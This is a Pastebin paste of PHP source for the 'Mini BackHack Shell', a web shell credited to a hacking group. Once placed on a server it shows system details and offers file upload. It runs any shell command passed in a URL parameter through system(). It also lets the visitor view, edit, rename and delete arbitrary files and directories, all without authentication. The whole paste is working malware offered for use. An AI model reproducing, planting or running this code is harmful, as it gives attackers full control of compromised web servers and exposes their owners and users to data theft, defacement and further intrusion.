Advertisement
Guest User

Untitled

a guest
Jul 17th, 2018
181
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.72 KB | None | 0 0
  1. <?php
  2. set_time_limit(0);
  3. ###################################
  4. # Ganti Copyright Ga Bikin Lu # Coded By Cy#b3r00T
  5. # Jadi Hacker, Coder, Lo Sampah! # Copyright (c) 2018 Sora Cyber Team
  6. # Jadilah Orang Yang Kreatif! # HEKER KOK BUTA PROGRAM HAHAHAHHA! SAMPAH EUY?
  7. ###################################
  8. //---> Thanks All Member Sora Cyber Team <---//
  9.  
  10. //Style
  11. echo "<title><<-- Mini BackHack! --></title>
  12. <body bgcolor='black'><font size='4' color='white'>
  13. <style>
  14. table{
  15. border: 1px dotted;
  16. }
  17. th{
  18. color: white;
  19. }
  20. td{
  21. color:white;
  22. border: none;
  23. }
  24. a{
  25. color:white;
  26. text-decoration: none;
  27. }
  28. a:hover{
  29. color:lime;
  30. text-shadow:0px 0px 3px lime;
  31. }
  32. a1{
  33. color:black;
  34. text-decoration: none;
  35. }
  36. a1:hover{
  37. color:lime;
  38. text-shadow:0px 0px 3px lime;
  39. }
  40. </style><pre>";
  41. //Info
  42. $ip1=$_SERVER['REMOTE_ADDR'];
  43. $ip2=$_SERVER['SERVER_ADDR'];
  44. $uname=php_uname();
  45. $function=@ini_get('disable_functions');
  46. echo "
  47. _____________
  48. | Mini Back | <font color='lime'>$uname</font>
  49. | Shell | Server IP : $ip2 <font color='lime'>//</font> Your IP : $ip1
  50. ---------------
  51. | Cy#b3r00T | ==> <font color='lime'>$function</font>";
  52. //Uploader
  53. echo "</pre><font size='2'><form action='' enctype='multipart/form-data' method='POST'>
  54. <input type='file' name='filena'> <input type='submit' name='upload' value='Upload'>";
  55. echo "&nbsp
  56. {<a href='?home'> Home </a>}
  57. {<a href='?command'> Command </a>}
  58. {<a href='?about'> About </a>}
  59. </form></font>";
  60. if(isset($_POST['upload'])){
  61. $cwd=getcwd();
  62. $tmp=$_FILES['filena']['tmp_name'];
  63. $filena=$_FILES['filena']['name'];
  64. if(@copy($tmp, $filena)){
  65. echo "Sukses => $cwd/$filena";
  66. }else{
  67. echo "Gagal :(";
  68. }
  69. }
  70. //Command
  71. if(isset($_GET['command'])){
  72. $xcmd=$_GET['cmd'];
  73. echo "<font size='2'><form action='' method='GET'>
  74. <input type='hidden' name='command'>
  75. $ip2@$ip1:~$<input type='text' name='cmd'> <input type='submit' name='exe' value='>>'></form>";
  76. echo "<pre><textarea cols='79' rows='20'>";
  77. htmlspecialchars((system($xcmd)));
  78. echo "</textarea></pre><script>";
  79. }
  80. //About
  81. if(isset($_GET['about'])){
  82. echo "<center><pre>
  83. <<-- Mini BackHack Shell -->>
  84. -----------------------
  85. Coded By Cy#b3r00T
  86. -----------------------
  87.  
  88. Kritik & Saran:
  89. soracyberteam@gmail.com<script>";
  90. }
  91. ?><?php
  92. function perms($file){
  93. $perms = fileperms($file);
  94. if (($perms & 0xC000) == 0xC000) {
  95. // Socket
  96. $info = 's';
  97. } elseif (($perms & 0xA000) == 0xA000) {
  98. // Symbolic Link
  99. $info = 'l';
  100. } elseif (($perms & 0x8000) == 0x8000) {
  101. // Regular
  102. $info = '-';
  103. } elseif (($perms & 0x6000) == 0x6000) {
  104. // Block special
  105. $info = 'b';
  106. } elseif (($perms & 0x4000) == 0x4000) {
  107. // Directory
  108. $info = 'd';
  109. } elseif (($perms & 0x2000) == 0x2000) {
  110. // Character special
  111. $info = 'c';
  112. } elseif (($perms & 0x1000) == 0x1000) {
  113. // FIFO pipe
  114. $info = 'p';
  115. } else {
  116. // Unknown
  117. $info = 'u';
  118. }
  119.  
  120. // Owner
  121. $info .= (($perms & 0x0100) ? 'r' : '-');
  122. $info .= (($perms & 0x0080) ? 'w' : '-');
  123. $info .= (($perms & 0x0040) ?
  124. (($perms & 0x0800) ? 's' : 'x' ) :
  125. (($perms & 0x0800) ? 'S' : '-'));
  126.  
  127. // Group
  128. $info .= (($perms & 0x0020) ? 'r' : '-');
  129. $info .= (($perms & 0x0010) ? 'w' : '-');
  130. $info .= (($perms & 0x0008) ?
  131. (($perms & 0x0400) ? 's' : 'x' ) :
  132. (($perms & 0x0400) ? 'S' : '-'));
  133.  
  134. // World
  135. $info .= (($perms & 0x0004) ? 'r' : '-');
  136. $info .= (($perms & 0x0002) ? 'w' : '-');
  137. $info .= (($perms & 0x0001) ?
  138. (($perms & 0x0200) ? 't' : 'x' ) :
  139. (($perms & 0x0200) ? 'T' : '-'));
  140.  
  141. return $info;
  142. }if(isset($_GET['source'])){
  143. $file=$_GET['source'];
  144. $content=file_get_contents("$file");
  145. $special=htmlspecialchars("$content");
  146. echo "<pre>Current File: $file
  147. $special<script>";
  148. }if(isset($_GET['edit'])){
  149. $file=$_GET['edit'];
  150. $path=$_GET['dir'];
  151. $content=file_get_contents("$file");
  152. if(isset($_POST['save'])){
  153. $file=$_POST['edit'];
  154. $buka=fopen("$file", "w");
  155. $source=$_POST['source'];
  156. if(fwrite($buka,$source)){
  157. echo "Saved!<script>";
  158. }else{
  159. echo "Failed!<script>";
  160. }fclose($buka);
  161. }echo "
  162. <form action='' method='POST'>
  163. <input type='hidden' name='dir' value='$path'>
  164. <input type='hidden' name='edit' value='$file'>
  165. <textarea cols=100 rows=30 name=source>".htmlspecialchars($content)."</textarea><br>
  166. <input type='submit' name='save' value='Save'></form><script>";
  167. }if(isset($_GET['rename'])){
  168. if(isset($_POST['renamed'])){
  169. $old=$_POST['old'];
  170. $new=$_POST['new'];
  171. $dir=$_POST['dir'];
  172. if(rename("$old", "$dir/$new")){
  173. echo "Success<script>";
  174. }else{
  175. echo "Failed,<script>";
  176. }
  177. }$old=$_GET['rename'];
  178. $oldx=basename($old);
  179. $dir=$_GET['dir'];
  180. echo "<center><pre><form action='' method='POST'>
  181. <input type='hidden' name='dir' value='$dir'>
  182. <input type='hidden' name='old' value='$old'>
  183. New Name: <input type='text' name='new' value='$oldx'><br>
  184. <input type='submit' name='renamed' value='Rename'></form><script>";
  185. }if(isset($_GET['delete'])){
  186. $delete=$_GET['delete'];
  187. if(@unlink($delete)){
  188. echo "Success<script>";
  189. }else{
  190. echo "Failed<script>";
  191. }
  192. }if(isset($_GET['deldir'])){
  193. $deldir=$_GET['deldir'];
  194. if(rmdir($deldir)){
  195. echo "Success<script>";
  196. }else{
  197. echo "Failed<script>";
  198. }
  199. }if(isset($_GET['makefile'])){
  200. $dir=$_GET['dir'];
  201. echo "<center><pre><form action='' method='GET'>
  202. <input type='hidden' name='dir' value='$dir'>
  203. File Name : <input type='text' name='filename'>
  204. <input type='submit' name='maked' value='Go!'></form><script>";
  205. }
  206. if($_GET['maked']){
  207. $dir=$_GET['dir'];
  208. $filename=$_GET['filename'];
  209. echo "<script>window.location='?dir=$dir&edit=$dir/$filename';</script>";
  210. }if(isset($_GET['makedir'])){
  211. $dir=$_GET['dir'];
  212. $newdir=$_GET['newdir'];
  213. echo "<center><pre><form action='' method='GET'>
  214. <input type='hidden' name='dir' value='$dir'>
  215. New Name : <input type='text' name='newdir'>
  216. <input type='submit' name='makeds' value='Go!'></form><script>";
  217. }
  218. if(isset($_GET['makeds'])){
  219. $dir=$_GET['dir'];
  220. $newdir=$_GET['newdir'];
  221. if(mkdir("$dir/$newdir")){
  222. echo "</script></pre></center>Success!<script>";
  223. }else{
  224. echo "</script></pre></center>Permission Denied!<script>";
  225. }
  226. }
  227. //Explore
  228. if(isset($_GET['dir'])){
  229. $path=$_GET['dir'];
  230. }else{
  231. $path=getcwd();
  232. }$path = str_replace('\\','/',$path);
  233. $paths = explode('/',$path);
  234.  
  235. foreach($paths as $id=>$pat){
  236. $a = true;
  237. if($pat == '' && $id == 0){
  238. echo '<pre> ==> Current Dir : <a href="?dir=/">/</a>';
  239. continue;
  240. }
  241. if($pat == '') continue;
  242. echo '<a href="?dir=';
  243. for($i=0;$i<=$id;$i++){
  244. echo "$paths[$i]";
  245. if($i != $id) echo "/";
  246. }
  247. echo '">'.$pat.'</a>/';
  248. }
  249. echo "</pre><pre> { <a href='?dir=$path&makedir'>New Directory</a> } { <a href='?dir=$path&makefile'>New File</a> }
  250. <table width=900 border=1 cellpadding=3 cellspacing=1 align=center>
  251. <th width=500>Name</th>
  252. <th width=100>Type</th>
  253. <th width=200>Size</th>
  254. <th width=200>Permission</th>
  255. <th width=500>Option</th>
  256. <tr>";
  257. $scandir = scandir($path);
  258. foreach($scandir as $dir){
  259. if(!is_dir($path.'/'.$dir) || $dir == '.zz' || $dir == '..zz')
  260. {
  261. $size=filesize($dir)/1024;
  262. $size = round($size,3);
  263. if($size >= 1024){
  264. $size = round($size/1024,2).' MB';
  265. }else{
  266. $size = $size.' KB';
  267. }
  268. $permsfile=perms($dir);
  269. $permsdir=perms($path);
  270. echo "
  271. <td><a href='?source=$path/$dir'>$dir</a></td>
  272. <td>File</td>
  273. <td>$size</td>
  274. <td>$permsfile</td>
  275. <td>
  276. <a href='?dir=$path&edit=$path/$dir'>Edit</a> |
  277. <a href='?dir=$path&rename=$path/$dir'>Rename</a> |
  278. <a href='?dir=$path&delete=$path/$dir'>Delete</a>
  279.  
  280. </td>
  281. </tr>";
  282. }else{
  283. echo "
  284. <td><a href='?dir=$path/$dir'>$dir</a></td>
  285. <td>Dir</td>
  286. <td>-</td>
  287. <td>$permsdir</td>
  288. <td><a href='?dir=$path&rename=$path/$dir'>Rename</a> |
  289. <a href='?dir=$path&deldir=$path/$dir'>Delete</a></td>
  290. </tr>
  291. ";
  292. }
  293. }
  294. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement